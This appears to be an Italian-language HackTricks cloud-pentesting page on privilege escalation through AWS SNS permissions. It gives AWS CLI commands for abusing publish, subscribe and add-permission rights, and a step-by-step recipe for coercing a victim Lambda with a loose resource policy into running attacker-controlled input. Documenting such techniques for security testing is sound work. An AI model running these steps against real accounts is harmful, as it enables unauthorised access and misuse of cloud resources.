# AWS - SNS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

Per maggiori informazioni consulta:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### `sns:Publish`

Un attacker potrebbe inviare messaggi dannosi o indesiderati al SNS topic, causando potenzialmente corruzione dei dati, innescando azioni non intenzionali o esaurendo le risorse.
```bash
aws sns publish --topic-arn <value> --message <value>
```
**Impatto potenziale**: Sfruttamento della vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.

### `sns:Subscribe`

Un attaccante potrebbe iscriversi a un SNS topic, ottenendo potenzialmente accesso non autorizzato ai messaggi o interrompendo il normale funzionamento delle applicazioni che si basano sul topic.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**Impatto potenziale**: Accesso non autorizzato ai messaggi (informazioni sensibili), interruzione del servizio per le applicazioni che si basano sul topic interessato.

### `sns:AddPermission`

Un attaccante potrebbe concedere a utenti o servizi non autorizzati l'accesso a un SNS topic, ottenendo potenzialmente permessi aggiuntivi.
```bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Impatto potenziale**: Accesso non autorizzato al topic, esposizione dei messaggi o manipolazione del topic da parte di utenti o servizi non autorizzati, interruzione del normale funzionamento delle applicazioni che si basano sul topic.


### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)

Se una resource-based policy di una funzione Lambda permette a `sns.amazonaws.com` di invocarla senza limitare il topic sorgente (`SourceArn`), qualsiasi SNS topic (anche in un altro account) può sottoscriversi e attivare la funzione. Un attacker con permessi SNS di base può costringere la Lambda a eseguire con il suo ruolo IAM con input controllato dall'attacker.

> [!TIP]
> TODO: È veramente possibile farlo cross-account?

Prerequisiti
- La policy della Lambda vittima contiene una dichiarazione come la seguente, SENZA condizione `SourceArn`:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
```
Passaggi di abuso (stesso account o cross-account)
```bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
```
**Potential Impact**: La Lambda vittima viene eseguita con il suo IAM role, elaborando input controllato dall'attaccante. Questo può essere sfruttato per far sì che la funzione esegua azioni sensibili (ad esempio, scrivere su S3, accedere a segreti, modificare risorse) a seconda dei suoi permessi.


{{#include ../../../../banners/hacktricks-training.md}}
